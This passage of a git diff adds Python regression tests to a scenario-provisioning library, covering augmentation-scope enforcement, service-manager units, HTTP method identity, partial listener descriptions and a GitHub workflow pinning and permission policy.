"/nodes/host/services/0" in diagnostic.message + + +@pytest.mark.parametrize("policy", [None, {"default": "open"}]) +def test_open_permission_reaches_apply_and_archives_actual_effects(tmp_path, policy): + result, backend = apply(tmp_path, policy, addition=True) + assert result.success, result.diagnostics + assert backend.preparations == 1 + assert backend.calls == 1 + assert result.snapshot.materialization_attestations + + +def test_closed_scope_with_no_extra_effects_is_not_an_execution_ban(tmp_path): + result, backend = apply(tmp_path, {"default": "closed"}) + assert result.success, result.diagnostics + assert backend.preparations == 1 + assert backend.calls == 1 + + +def test_missing_preparation_fails_before_apply_even_when_manifest_claims_support(tmp_path): + result, backend = apply(tmp_path, {"default": "closed"}, unsupported=True) + assert not result.success + assert backend.calls == 0 + + +def test_malformed_direct_plan_diagnostics_are_refused_without_attribute_access(): + from raes_runtime.backend_input_contracts import backend_input_violation + + plan = replace(scoped_plan(None).provisioning, diagnostics=({"message": "untyped"},)) + assert backend_input_violation((plan,)) is not None + + +def test_actual_unadmitted_effects_fail_and_retain_cleanup_without_archival(tmp_path): + result, backend = apply(tmp_path, {"default": "open"}, unreported=True) + assert not result.success + assert backend.calls == 1 + assert "provision.node.host" in result.snapshot.entries + assert not result.snapshot.materialization_attestations + + +def test_later_evaluator_addition_is_refused_before_provisioning(tmp_path): + from raes import parse_sdl + from raes_backend_stubs.stubs import create_stub_manifest + from raes_contracts.planning import PlanScope + from raes_runtime import RuntimeManager + from raes_runtime.registry import RuntimeTarget + from test_runtime_manager import RecordingEvaluator + + original_manifest = scoped_plan({"default": "closed"}).manifest + manifest = replace( + original_manifest, + capabilities=replace(original_manifest.capabilities, evaluator=create_stub_manifest().evaluator), + ) + provisioner = ScopeReportingProvisioner(manifest) + + class CollectorEvaluator(RecordingEvaluator): + def prepare_augmentation(self, request, previous): + return ScopeReportingProvisioner(manifest, addition=True).prepare_augmentation(request, previous) + + calls = [] + manager = RuntimeManager( + RuntimeTarget( + name="scoped", manifest=manifest, provisioner=provisioner, evaluator=CollectorEvaluator(calls, "evaluator") + ), + materialization_archive=RunMaterializationArchive(tmp_path), + ) + scenario = parse_sdl(""" +name: scoped +augmentation_scope: {default: closed} +realization: {default: open} +nodes: {host: {type: compute}} +propositions: + health: + description: The subject has runtime state. + subjects: [nodes.host] + basis: declared_state + predicate: {kind: presence, property: runtime, semantic_ref: 'urn:raes:declared-property:runtime', operator: exists} +assertions: + health: {proposition: health, role: precondition, polarity: positive} +""") + execution = manager.plan(scenario, run_scope=PlanScope(run_id="run-1")) + assert execution.is_valid, execution.diagnostics + assert execution.evaluation.actionable_operations + result = manager.apply(execution) + assert not result.success + assert any(item.code == "augmentation.scope-closed" for item in result.diagnostics) + assert provisioner.calls == 0 + assert not calls + assert not manager.snapshot.entries + + +def test_empty_operations_with_prospective_authority_are_not_read_only(): + from raes_contracts.plan_effects import plan_can_mutate + + request = replace( + scoped_plan({"default": "open"}).provisioning, + operations=[], + realization_constraints=(), + realization_authority=(), + ) + assert plan_can_mutate(request) + + +@pytest.mark.parametrize("permission", ["closed", "open"]) +def test_world_changing_observation_hook_refuses_before_backend_mutation(tmp_path, permission): + from raes_backend_stubs.stubs import create_stub_manifest + from raes_contracts.observation_demand import EffectiveObservationDemand, ObservationLifecycleStage + from raes_runtime.backend_observation_calls import _call_backend_apply_with_observation, _ObservationApplyRequest + from raes_runtime.observation_execution import ConfiguredObservationRuntime + from test_issue_1212_observation_demand import _runtime_capability, _selector + + execution = scoped_plan({"default": permission}) + manifest = replace( + execution.manifest, + capabilities=replace(execution.manifest.capabilities, observation=create_stub_manifest().observation), + ) + selector = _selector("/nodes/host", "trace") + demand = EffectiveObservationDemand( + scope="/nodes/host", + purpose="experimental", + mode="selected", + selectors=(selector,), + collection="require", + retention="disable", + export="disable", + basis="observed", + required=False, + ) + request = replace(execution.provisioning, observation_demands=(demand,)) + collected = [] + + class InstallingObserver(ConfiguredObservationRuntime): + def prepare_augmentation(self, request, previous): + return ScopeReportingProvisioner(manifest, addition=True).prepare_augmentation(request, previous) + + capability = _runtime_capability(selector, stages=frozenset({ObservationLifecycleStage.COLLECTION})) + observer = InstallingObserver( + capabilities=(capability,), + producers={capability.capability_id: lambda *args: (collected.append("installed") or "event",)}, + ) + backend = ScopeReportingProvisioner(manifest) + previous = RuntimeSnapshot() + result, _ = _call_backend_apply_with_observation( + backend.apply, + request, + previous, + request=_ObservationApplyRequest( + address="runtime.scoped", + snapshot=previous, + plan=request, + manifest=manifest, + runtime=observer, + materialization_archive=RunMaterializationArchive(tmp_path), + ), + realization=_RealizationApplyContext(plan=request, manifest=manifest), + ) + assert not result.success + expected = "augmentation.scope-closed" if permission == "closed" else "augmentation.phase-unattested" + assert any(item.code == expected for item in result.diagnostics), result.diagnostics + assert backend.calls == 0 + assert not collected + + +def test_unsupported_scope_cannot_be_executed_via_a_detached_phase_plan(): + from raes_contracts.planning import PlanScope + from raes_processor.planner import plan + + original = scoped_plan({"default": "closed"}) + manifest = replace( + original.manifest, + supported_contract_versions=original.manifest.supported_contract_versions + - {"backend-augmentation-scope-v1", "backend-materialization-attestation-v1"}, + ) + execution = plan(original.model, manifest, scope=PlanScope(run_id="run-1")) + assert not execution.is_valid + backend = ReportingProvisioner(manifest) + previous = RuntimeSnapshot() + result = _call_backend_apply( + backend.apply, + execution.provisioning, + previous, + snapshot=previous, + address="runtime.detached", + realization=_RealizationApplyContext(plan=execution.provisioning, manifest=manifest), + ) + assert not result.success + assert backend.calls == 0 diff --git a/implementations/python/tests/test_issue_1297_service_manager_contract.py b/implementations/python/tests/test_issue_1297_service_manager_contract.py new file mode 100644 index 000000000..9732833b4 --- /dev/null +++ b/implementations/python/tests/test_issue_1297_service_manager_contract.py @@ -0,0 +1,196 @@ +"""Regression coverage for the portable service-manager contract in issue #1297. + +These tests exercise SDL contracts and realization comparison only. They do +not claim discovery of, or execution against, a live service manager. +""" + +from __future__ import annotations + +import textwrap +from copy import deepcopy + +import pytest +import yaml +from jsonschema import Draft202012Validator +from pydantic import ValidationError +from raes import instantiate_scenario, parse_sdl +from raes.runtime_service_units import ServiceManagerKind, ServiceManagerUnit, ServiceUnitActiveState +from raes_contracts.contracts import schema_bundle +from raes_contracts.realization_structure import evaluate_realization_constraint +from raes_processor.compiler import compile_runtime_model +from raes_processor.semantics.realization_concerns import realization_concern_descriptor + + +def _authoring_payload(unit: dict[str, object]) -> dict[str, object]: + return { + "name": "issue-1297-service-manager-contract", + "nodes": { + "host": { + "type": "compute", + "resources": {"ram": "1 gib", "cpu": 1}, + "runtime": {"service_manager_units": [unit]}, + } + }, + } + + +@pytest.mark.parametrize("manager_kind", ["x-openrc:openrc", "x-private:supervisor"]) +def test_private_manager_native_names_round_trip_without_systemd_suffix(manager_kind: str) -> None: + unit = ServiceManagerUnit(unit_id="web", manager_kind=manager_kind, unit_name="nginx") + + reparsed = ServiceManagerUnit.model_validate_json(unit.model_dump_json()) + + assert reparsed.manager_kind == manager_kind + assert reparsed.unit_name == "nginx" + + +def test_explicit_systemd_still_requires_a_suffixed_native_name() -> None: + with pytest.raises(ValidationError, match="unit_name"): + ServiceManagerUnit(unit_id="web", manager_kind=ServiceManagerKind.SYSTEMD, unit_name="nginx") + + +def test_partial_unit_omits_manager_and_native_name_without_inventing_author_intent() -> None: + unit = ServiceManagerUnit(unit_id="web") + + assert unit.manager_kind is ServiceManagerKind.SYSTEMD # historical read compatibility + assert unit.unit_name == "" + assert "manager_kind" not in unit.model_fields_set + assert "unit_name" not in unit.model_fields_set + + +def test_private_manager_rejects_explicit_systemd_state() -> None: + with pytest.raises(ValidationError, match="systemd"): + ServiceManagerUnit( + unit_id="web", + manager_kind="x-openrc:openrc", + unit_name="nginx", + active_state="active", + ) + + +def test_authoring_schema_matches_native_name_and_partiality_rules() -> None: + validator = Draft202012Validator(schema_bundle()["sdl-authoring-input-v1"]) + + assert validator.is_valid( + _authoring_payload({"unit_id": "web", "manager_kind": "x-openrc:openrc", "unit_name": "nginx"}) + ) + assert validator.is_valid(_authoring_payload({"unit_id": "web"})) + assert not validator.is_valid( + _authoring_payload({"unit_id": "web", "manager_kind": "systemd", "unit_name": "nginx"}) + ) + assert not validator.is_valid( + _authoring_payload({"unit_id": "web", "manager_kind": "SyStEmD", "unit_name": "nginx"}) + ) + assert not validator.is_valid( + _authoring_payload( + { + "unit_id": "web", + "manager_kind": "x-openrc:openrc", + "unit_name": "nginx", + "active_state": "active", + } + ) + ) + assert not validator.is_valid( + _authoring_payload( + { + "unit_id": "web", + "manager_kind": "OtHeR", + "unit_name": "nginx", + "active_state": "active", + } + ) + ) + + +def test_service_manager_projection_is_keyed_and_presence_sensitive() -> None: + descriptor = realization_concern_descriptor("runtime-service-manager-units") + assert descriptor is not None + assert descriptor.collection_identity_fields == ("unit_id",) + + projected = descriptor.project( + [ + ServiceManagerUnit( + unit_id="web", + manager_kind="x-openrc:openrc", + unit_name="nginx", + active_state=ServiceUnitActiveState.UNKNOWN, + ) + ], + recursive=True, + ) + + assert projected == [{"unit_id": "web", "manager_kind": "x-openrc:openrc", "unit_name": "nginx"}] + + +def test_open_parent_compiles_exact_native_name_with_delegated_omissions() -> None: + source = parse_sdl( + textwrap.dedent( + """ + name: issue-1297-open-service-manager + realization: + default: closed + scopes: + - field_pointer: /nodes/host/runtime/service_manager_units + posture: open + nodes: + host: + type: compute + resources: {ram: 1 gib, cpu: 1} + runtime: + service_manager_units: + - unit_id: web + unit_name: nginx + """ + ) + ) + + instantiated = instantiate_scenario(source) + unit = instantiated.nodes["host"].runtime.service_manager_units[0] + compiled = compile_runtime_model(instantiated) + requirement = next( + item for item in compiled.realization_requirements if item.requirement_kind == "runtime-service-manager-units" + ) + + assert unit.unit_name == "nginx" + assert "manager_kind" not in unit.model_fields_set + assert requirement.constraint_document is not None + assert requirement.constraint_document.root.identity_fields == ("unit_id",) + assert set(requirement.constraint_document.root.members[0].constraint.fields) == {"unit_id", "unit_name"} + + +def test_declared_and_observed_private_units_compare_by_unit_id() -> None: + runtime = { + "service_manager_units": [ + {"unit_id": "web", "manager_kind": "x-openrc:openrc", "unit_name": "nginx"}, + {"unit_id": "jobs", "manager_kind": "x-private:supervisor", "unit_name": "worker"}, + ] + } + source = { + "name": "issue-1297-private-unit-comparison", + "realization": { + "default": "closed", + "scopes": [{"field_pointer": "/nodes/host/runtime/service_manager_units", "posture": "open"}], + }, + "nodes": {"host": {"type": "compute", "runtime": runtime}}, + } + compiled = compile_runtime_model(parse_sdl(yaml.safe_dump(source))) + requirement = next( + item for item in compiled.realization_requirements if item.requirement_kind == "runtime-service-manager-units" + ) + assert requirement.constraint_document is not None + descriptor = realization_concern_descriptor("runtime-service-manager-units") + assert descriptor is not None + + reordered = {"service_manager_units": list(reversed(runtime["service_manager_units"]))} + changed = deepcopy(runtime) + changed["service_manager_units"][0]["unit_name"] = "nginx-renamed" + + assert evaluate_realization_constraint( + requirement.constraint_document, + descriptor.project(reordered["service_manager_units"], recursive=True), + ).conformant + assert not evaluate_realization_constraint( + requirement.constraint_document, + descriptor.project(changed["service_manager_units"], recursive=True), + ).conformant diff --git a/implementations/python/tests/test_issue_1298_http_method_identity.py b/implementations/python/tests/test_issue_1298_http_method_identity.py new file mode 100644 index 000000000..9ca01f8d2 --- /dev/null +++ b/implementations/python/tests/test_issue_1298_http_method_identity.py @@ -0,0 +1,213 @@ +"""Regression coverage for extensible HTTP wire-method identity (issue #1298).""" + +from __future__ import annotations + +import json +import textwrap +from copy import deepcopy + +import pytest +import yaml +from jsonschema import Draft202012Validator +from pydantic import ValidationError +from raes import SDLInstantiationError, SDLParseError, instantiate_scenario, parse_sdl, parse_sdl_file +from raes.canonical import InstantiatedScenarioSnapshot, canonical_instantiated_sdl_bytes +from raes.runtime_application import RuntimeApplicationRoute, RuntimeApplicationSurface +from raes_contracts.contracts import schema_bundle +from raes_processor.compiler import compile_runtime_model +from test_issue_1210_semantic_comparison import compare + + +def _source(*methods: str, variable: bool = False) -> str: + method_values = ["${route_method}"] if variable else list(methods) + payload: dict[str, object] = { + "name": "http-method-identity", + "realization": {"default": "open"}, + "nodes": { + "host": { + "type": "compute", + "services": [{"name": "web", "port": 8080}], + "runtime": { + "applications": [ + { + "application_id": "documents", + "service": "web", + "protocol": "http", + "routes": [ + { + "route_id": "documents", + "path": "/documents", + "methods": method_values, + } + ], + } + ] + }, + } + }, + } + if variable: + payload["variables"] = {"route_method": {"type": "string", "default": "PROPFIND"}} + return yaml.safe_dump(payload, sort_keys=False) + + +def _methods(scenario, node: str = "host") -> list[str]: + return scenario.nodes[node].runtime.applications[0].routes[0].methods + + +@pytest.mark.parametrize("method", ["PROPFIND", "PrivateQuery", "privateQuery", "M-SEARCH", "X!#$%&'*+.^_`|~"]) +def test_valid_extension_method_identity_is_preserved(method: str) -> None: + route = RuntimeApplicationRoute(route_id="documents", path="/documents", methods=[method]) + assert route.methods == [method] + + +@pytest.mark.parametrize("method", ["get", "Get", "GET", "patch", "PaTcH"]) +def test_legacy_builtin_spellings_keep_their_uppercase_compatibility_identity(method: str) -> None: + route = RuntimeApplicationRoute(route_id="documents", path="/documents", methods=[method]) + assert route.methods == [method.upper()] + + +@pytest.mark.parametrize( + "method", + ["", " FETCH", "FETCH ", "FET CH", "FETCH/ITEM", "FETCH\n", "méthod", "x" * 129], +) +def test_invalid_method_tokens_are_rejected_without_repair(method: str) -> None: + with pytest.raises(ValidationError, match="HTTP method"): + RuntimeApplicationRoute(route_id="documents", path="/documents", methods=[method]) + + +def test_omitted_methods_preserves_legacy_unknown_inventory_shape() -> None: + assert RuntimeApplicationRoute(route_id="documents", path="/documents").methods == [] + + +def test_parser_diagnostic_does_not_echo_a_rejected_method() -> None: + rejected = "PRIVATE INVALID METHOD 1298" + source = _source(rejected) + with pytest.raises(SDLParseError) as caught: + parse_sdl(source) + assert rejected not in str(caught.value) + + +def test_duplicates_use_post_compatibility_identity_but_extension_case_remains_distinct() -> None: + for methods in (["PROPFIND", "PROPFIND"], ["get", "GET"]): + with pytest.raises(ValidationError, match="unique after compatibility normalization"): + RuntimeApplicationRoute(route_id="duplicate", path="/documents", methods=methods) + + with pytest.raises(ValidationError, match="Duplicate runtime application route binding"): + RuntimeApplicationSurface( + application_id="documents", + routes=[ + {"route_id": "lower", "path": "/documents", "methods": ["get"]}, + {"route_id": "upper", "path": "/documents", "methods": ["GET"]}, + ], + ) + surface = RuntimeApplicationSurface( + application_id="documents", + routes=[ + {"route_id": "first", "path": "/documents", "methods": ["PROPFIND"]}, + {"route_id": "second", "path": "/documents", "methods": ["PropFind"]}, + ], + ) + assert [route.methods for route in surface.routes] == [["PROPFIND"], ["PropFind"]] + + +def test_variable_substitution_is_revalidated_as_a_method_token() -> None: + authored = parse_sdl(_source(variable=True)) + assert _methods(instantiate_scenario(authored)) == ["PROPFIND"] + assert _methods(instantiate_scenario(authored, parameters={"route_method": "PrivateQuery"})) == ["PrivateQuery"] + with pytest.raises(SDLInstantiationError) as caught: + instantiate_scenario(authored, parameters={"route_method": "PRIVATE INVALID METHOD 1298"}) + assert "value_error" in str(caught.value) + assert "PRIVATE INVALID METHOD 1298" not in str(caught.value) + + +def test_composition_compile_comparison_and_snapshot_preserve_exact_identity(tmp_path) -> None: + module = yaml.safe_load(_source("PROPFIND", "PrivateQuery", "privateQuery")) + module["module"] = {"id": "example/http-methods", "version": "1.0.0", "exports": {"nodes": ["host"]}} + (tmp_path / "module.yaml").write_text(yaml.safe_dump(module, sort_keys=False)) + root = tmp_path / "root.yaml" + root.write_text( + textwrap.dedent( + """ + name: composed-http-methods + realization: {default: open} + imports: [{path: module.yaml, namespace: component}] + """ + ) + ) + expanded = parse_sdl_file(root) + assert expanded.nodes["component.host"].runtime.applications[0].routes[0].methods == [ + "PROPFIND", + "PrivateQuery", + "privateQuery", + ] + instantiated = instantiate_scenario(expanded) + compiled = compile_runtime_model(instantiated) + requirement = next( + item for item in compiled.realization_requirements if item.requirement_kind == "runtime-applications" + ) + route_constraints = requirement.constraint_document.root.items[0].fields["routes"].items[0].fields + assert [item.value for item in route_constraints["methods"].items] == [ + "PROPFIND", + "PrivateQuery", + "privateQuery", + ] + assert compiled.observation_demands == () + assert compiled.action_contracts == {} + + encoded = canonical_instantiated_sdl_bytes(instantiated) + restored = InstantiatedScenarioSnapshot.model_validate_json(encoded).scenario + assert canonical_instantiated_sdl_bytes(restored) == encoded + assert _methods(restored, "component.host") == ["PROPFIND", "PrivateQuery", "privateQuery"] + + case_changed = parse_sdl(_source("PROPFIND", "PrivateQuery", "Privatequery")) + assert ( + compare(parse_sdl(_source("PROPFIND", "PrivateQuery", "privateQuery")), case_changed) + .changes[0] + .semantic_relation.value + == "changed" + ) + + +def test_authoring_schema_matches_model_token_and_collection_rules() -> None: + schema = schema_bundle()["sdl-authoring-input-v1"] + validator = Draft202012Validator(schema) + valid = yaml.safe_load(_source("PROPFIND", "PrivateQuery", "privateQuery")) + assert validator.is_valid(valid) + variable = yaml.safe_load(_source(variable=True)) + assert validator.is_valid(variable) + for methods in ( + [], + ["bad method"], + ["PROPFIND\n"], + ["méthod"], + ["x" * 129], + ["PROPFIND", "PROPFIND"], + ["${route_method}\n"], + ): + invalid = yaml.safe_load(_source("GET")) + invalid["nodes"]["host"]["runtime"]["applications"][0]["routes"][0]["methods"] = methods + assert not validator.is_valid(invalid) + + +@pytest.mark.parametrize("contract_id", ["instantiated-scenario-v1", "instantiated-scenario-snapshot-v1"]) +def test_concrete_schemas_preserve_extension_identity_and_reject_authoring_syntax(contract_id: str) -> None: + instantiated = instantiate_scenario(parse_sdl(_source("PROPFIND", "PrivateQuery", "privateQuery"))) + if contract_id == "instantiated-scenario-v1": + payload = instantiated.model_dump(mode="json", by_alias=True, exclude_none=True) + else: + payload = json.loads(canonical_instantiated_sdl_bytes(instantiated)) + + validator = Draft202012Validator(schema_bundle()[contract_id]) + assert validator.is_valid(payload) + + for methods in ( + ["${route_method}"], + ["bad method"], + ["PROPFIND\n"], + ["PROPFIND", "PROPFIND"], + ): + invalid = deepcopy(payload) + invalid_scenario = invalid if contract_id == "instantiated-scenario-v1" else invalid["scenario"] + invalid_scenario["nodes"]["host"]["runtime"]["applications"][0]["routes"][0]["methods"] = methods + assert not validator.is_valid(invalid) diff --git a/implementations/python/tests/test_issue_1299_partial_listeners.py b/implementations/python/tests/test_issue_1299_partial_listeners.py new file mode 100644 index 000000000..34a5fee14 --- /dev/null +++ b/implementations/python/tests/test_issue_1299_partial_listeners.py @@ -0,0 +1,335 @@ +"""Issue #1299: listener descriptions preserve partial knowledge.""" + +from __future__ import annotations + +import json +from copy import deepcopy +from dataclasses import replace + +import pytest +import yaml +from jsonschema import Draft202012Validator +from pydantic import ValidationError +from raes import instantiate_scenario, parse_sdl, render_sdl_source +from raes._errors import SDLValidationError +from raes.explicitness import ExplicitnessClass, ExplicitnessProvenance +from raes.runtime_configuration import RuntimeConfiguration +from raes.runtime_listeners import RuntimeListenerProtocol +from raes.runtime_ssh_server import RuntimeSshServer +from raes.scenario import InstantiatedScenario +from raes.validator import SemanticValidator +from raes_contracts.contracts import schema_bundle +from raes_contracts.planning import ChangeAction, ProvisioningPlan, ProvisionOp, RuntimeDomain +from raes_contracts.realization_structure import evaluate_realization_constraint +from raes_contracts.runtime_state import RuntimeSnapshot, SnapshotEntry +from raes_processor.planner.realization_preparation import prepared_realization_violation +from raes_processor.semantics.realization import CompiledRealizationRequirement, realization_disclosure +from raes_processor.semantics.realization_concerns import project_realization_concern +from test_issue_1200_mixed_runtime_constraints import _fixture + +PARTIAL_LISTENERS = [ + {"service_listener_id": "tcp-port", "protocol": "tcp", "port": 80}, + {"service_listener_id": "unix-kind", "protocol": "unix"}, + {"service_listener_id": "unknown-kind", "protocol": "unknown"}, + {"service_listener_id": "private-kind", "protocol": "x-example:quic"}, + {"service_listener_id": "explicit-empty", "address": ""}, +] + + +def test_partial_listener_knowledge_parses_and_round_trips_without_invented_facts() -> None: + source = { + "name": "partial-listeners", + "nodes": {"host": {"type": "compute", "runtime": {"service_listeners": PARTIAL_LISTENERS}}}, + } + + scenario = parse_sdl(yaml.safe_dump(source)) + SemanticValidator(scenario).validate() + runtime = scenario.nodes["host"].runtime + assert runtime.model_dump(mode="json", exclude_unset=True) == {"service_listeners": PARTIAL_LISTENERS} + + restored = RuntimeConfiguration.model_validate_json(runtime.model_dump_json(exclude_unset=True)) + assert restored.model_dump(mode="json", exclude_unset=True) == {"service_listeners": PARTIAL_LISTENERS} + assert scenario.evidence_requirements == {} + + +def test_omitted_legacy_tcp_default_is_source_absent_and_instantiated_default() -> None: + scenario = parse_sdl( + """ + name: listener-default + realization: {default: open} + nodes: + host: + type: compute + runtime: + service_listeners: + - {service_listener_id: web, port: 80} + """ + ) + + authored = scenario.nodes["host"].runtime.service_listeners[0] + assert authored.protocol is RuntimeListenerProtocol.TCP + assert "protocol" not in authored.model_fields_set + rendered_listener = yaml.safe_load(render_sdl_source(scenario).content)["nodes"]["host"]["runtime"][ + "service_listeners" + ][0] + assert rendered_listener == {"service_listener_id": "web", "port": 80} + + instantiated = instantiate_scenario(scenario) + concrete = instantiated.nodes["host"].runtime.service_listeners[0] + assert concrete.protocol is RuntimeListenerProtocol.TCP + assert concrete.model_dump(mode="json")["protocol"] == "tcp" + assert "nodes.host.runtime.service_listeners[0].protocol" not in instantiated.explicitness + + +@pytest.mark.parametrize( + "listener_fact", + [ + {"socket_path": "/run/app.sock"}, + {"address_family": "unix"}, + {"scope": "local_socket"}, + ], +) +def test_protocol_omitted_unix_facts_survive_authoring_and_instantiation( + listener_fact: dict[str, str], +) -> None: + source = { + "name": "partial-unix-listener", + "nodes": { + "host": { + "type": "compute", + "runtime": {"service_listeners": [{"service_listener_id": "control", **listener_fact}]}, + } + }, + } + + scenario = parse_sdl(yaml.safe_dump(source)) + SemanticValidator(scenario).validate() + instantiated = instantiate_scenario(scenario) + SemanticValidator(instantiated).validate() + + authored = scenario.nodes["host"].runtime.service_listeners[0] + concrete = instantiated.nodes["host"].runtime.service_listeners[0] + assert "protocol" not in authored.model_fields_set + assert "protocol" not in concrete.model_fields_set + assert concrete.protocol is RuntimeListenerProtocol.TCP + + restored = InstantiatedScenario.model_validate_json(instantiated.model_dump_json()) + SemanticValidator(restored).validate() + + +def test_explicit_tcp_still_rejects_unix_listener_facts() -> None: + with pytest.raises(SDLValidationError, match="supplied TCP protocol contradicts Unix listener facts"): + parse_sdl( + """ + name: contradictory-listener + nodes: + host: + type: compute + runtime: + service_listeners: + - service_listener_id: control + protocol: tcp + socket_path: /run/app.sock + """ + ) + + +@pytest.mark.parametrize( + ("listener", "message"), + [ + ( + {"service_listener_id": "bad", "address_family": "ipv4", "scope": "local_socket"}, + "scope 'local_socket' contradicts address_family 'ipv4'", + ), + ( + {"service_listener_id": "bad", "address_family": "unix", "scope": "network_facing"}, + "scope 'network_facing' contradicts Unix address_family", + ), + ], +) +def test_concrete_address_family_and_scope_must_agree(listener: dict[str, str], message: str) -> None: + with pytest.raises(ValidationError, match=message): + RuntimeConfiguration.model_validate({"service_listeners": [listener]}) + + +def test_open_listener_scope_delegates_bind_but_preserves_exact_port() -> None: + model, _, _ = _fixture( + {"service_listeners": [{"service_listener_id": "web", "port": 80}]}, + scope="/nodes/host/runtime/service_listeners", + ) + requirement = next(row for row in model.realization_requirements if row.requirement_kind == "service-listeners") + assert requirement.constraint_document is not None + + selected = [{"service_listener_id": "web", "protocol": "tcp", "port": 80, "address": "127.0.0.1"}] + projected = project_realization_concern("service-listeners", selected, recursive=True) + assert evaluate_realization_constraint(requirement.constraint_document, projected).conformant + + selected[0]["port"] = 8080 + projected = project_realization_concern("service-listeners", selected, recursive=True) + assert not evaluate_realization_constraint(requirement.constraint_document, projected).conformant + + +def test_sparse_listener_preparation_cannot_satisfy_exact_protocol() -> None: + _, plan, manifest = _fixture( + {"service_listeners": [{"service_listener_id": "web", "protocol": "tcp"}]}, + scope="/nodes/host/runtime/service_listeners", + ) + operation = plan.operations[0] + payload = deepcopy(operation.payload) + payload["spec"]["node"]["runtime"]["service_listeners"] = [{"service_listener_id": "web"}] + selected = replace(plan, operations=(replace(operation, payload=payload),)) + + assert prepared_realization_violation(plan, selected, manifest) == ( + "Backend preparation does not satisfy the recursive constraints." + ) + + +def test_sparse_listener_observation_cannot_satisfy_exact_protocol() -> None: + requirement = CompiledRealizationRequirement( + field_path="nodes.host.runtime.service_listeners", + address="provision.node.host", + domain="runtime-realization", + requirement_kind="service-listeners", + explicitness=ExplicitnessClass.EXACT, + provenance=ExplicitnessProvenance.AUTHOR_DECLARED, + ) + + def payload(value: object) -> dict[str, object]: + return {"spec": {"node": {"runtime": {"service_listeners": value}}}} + + plan = ProvisioningPlan( + operations=[ + ProvisionOp( + action=ChangeAction.CREATE, + address=requirement.address, + resource_type="node", + payload=payload([{"service_listener_id": "web", "protocol": "tcp"}]), + ) + ] + ) + snapshot = RuntimeSnapshot( + entries={ + requirement.address: SnapshotEntry( + address=requirement.address, + domain=RuntimeDomain.PROVISIONING, + resource_type="node", + payload=payload([{"service_listener_id": "web"}]), + ) + } + ) + + diagnostics, provenance = realization_disclosure((requirement,), plan, snapshot) + + assert [diagnostic.code for diagnostic in diagnostics] == ["runtime.backend-contract-invalid"] + assert provenance == () + + +@pytest.mark.parametrize("protocol", [None, "unknown"]) +def test_missing_or_unknown_listener_protocol_defers_service_protocol_agreement(protocol: str | None) -> None: + fields = {} if protocol is None else {"protocol": protocol} + source = { + "name": "listener-service-agreement", + "nodes": { + "host": { + "type": "compute", + "services": [{"name": "dns", "port": 53, "protocol": "udp"}], + "runtime": { + "service_listeners": [{"service_listener_id": "dns", "service": "dns", "port": 53, **fields}] + }, + } + }, + } + + scenario = parse_sdl(yaml.safe_dump(source)) + SemanticValidator(scenario).validate() + SemanticValidator(instantiate_scenario(scenario)).validate() + + +def test_omitted_listener_protocol_does_not_override_published_ref_protocol() -> None: + scenario = parse_sdl( + """ + name: listener-publication-agreement + nodes: + host: + type: compute + runtime: + network: + published_ports: + - {container_port: 53, protocol: udp, host_ip: 127.0.0.1, host_port: 5353} + service_listeners: + - service_listener_id: dns + port: 53 + published_port_refs: + - {container_port: 53, protocol: udp, host_ip: 127.0.0.1, host_port: 5353} + """ + ) + + SemanticValidator(scenario).validate() + SemanticValidator(instantiate_scenario(scenario)).validate() + + +def test_concrete_private_listener_protocol_remains_binding() -> None: + scenario = parse_sdl( + """ + name: private-listener + nodes: + host: + type: compute + services: + - {name: private, port: 4444, protocol: tcp} + runtime: + service_listeners: + - service_listener_id: private + service: private + port: 4444 + protocol: x-example:quic + """, + skip_semantic_validation=True, + ) + + validator = SemanticValidator(scenario) + with pytest.raises(SDLValidationError, match="port/protocol must match service 'private'"): + validator.validate() + + +def test_partial_listener_does_not_create_access_publication_or_capture_demand() -> None: + scenario = parse_sdl( + """ + name: descriptive-listener + nodes: + host: + type: compute + runtime: + service_listeners: + - {service_listener_id: web, protocol: tcp, port: 80} + """ + ) + + node = scenario.nodes["host"] + assert node.services == [] + assert node.runtime.network is None + assert scenario.evidence_requirements == {} + + +def test_ssh_daemon_policy_keeps_its_explicit_service_binding() -> None: + with pytest.raises(ValidationError, match="service"): + RuntimeSshServer(ssh_server_id="sshd-default") + with pytest.raises(ValidationError, match="service"): + RuntimeSshServer(ssh_server_id="sshd-default", service="") + + +@pytest.mark.parametrize( + "schema_name", + [ + "sdl-authoring-input-v1", + "instantiated-scenario-v1", + "materialized-scenario-v1", + "instantiated-scenario-snapshot-v1", + "scenario-satisfiability-evidence-v1", + ], +) +def test_published_listener_schemas_do_not_require_complete_endpoints(schema_name: str) -> None: + definition = schema_bundle()[schema_name]["$defs"]["RuntimeServiceListener"] + assert definition["required"] == ["service_listener_id"] + Draft202012Validator.check_schema(schema_bundle()[schema_name]) + assert "Network listeners require" not in json.dumps(definition) diff --git a/implementations/python/tests/test_issue_1313_workflow_policy.py b/implementations/python/tests/test_issue_1313_workflow_policy.py new file mode 100644 index 000000000..47ae1903e --- /dev/null +++ b/implementations/python/tests/test_issue_1313_workflow_policy.py @@ -0,0 +1,309 @@ +"""Focused checks of native workflows, without a second workflow inventory.""" + +import re +import shlex +import sys +import tomllib +from fnmatch import fnmatch +from pathlib import Path + +import pytest +import yaml +from tools.tooling_artifact_policy_actions import action_failures + + +def _check(tmp_path: Path, workflow: dict) -> set[str]: + path = ".github/workflows/test.yml" + target = tmp_path / path + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(yaml.safe_dump(workflow), encoding="utf-8") + return {failure.rule_id for failure in action_failures(tmp_path, {}, [path])} + + +@pytest.fixture +def workflow() -> dict: + return { + "on": {"pull_request": {}}, + "permissions": {"contents": "read"}, + "jobs": { + "test": { + "runs-on": "ubuntu-24.04", + "steps": [ + {"uses": "actions/checkout@" + "a" * 40, "with": {"persist-credentials": False}}, + {"run": "python -m pytest"}, + ], + } + }, + } + + +def test_pinned_workflow_needs_no_parallel_policy_inventory(tmp_path: Path, workflow: dict) -> None: + assert _check(tmp_path, workflow) == set() + + +@pytest.mark.parametrize("uses", ["actions/checkout@v7", "actions/checkout@main", "docker://alpine:latest"]) +def test_mutable_executable_is_rejected(tmp_path: Path, workflow: dict, uses: str) -> None: + workflow["jobs"]["test"]["steps"][0]["uses"] = uses + assert "tooling-action-pin" in _check(tmp_path, workflow) + + +@pytest.mark.parametrize("permissions", ["write-all", {"contents": "write"}, {"id-token": "write"}]) +def test_pull_request_cannot_acquire_publishing_permissions(tmp_path: Path, workflow: dict, permissions) -> None: + workflow["jobs"]["test"]["permissions"] = permissions + assert "tooling-action-permissions" in _check(tmp_path, workflow) + + +def _finalization_workflow() -> dict: + root = Path(__file__).resolve().parents[3] + return 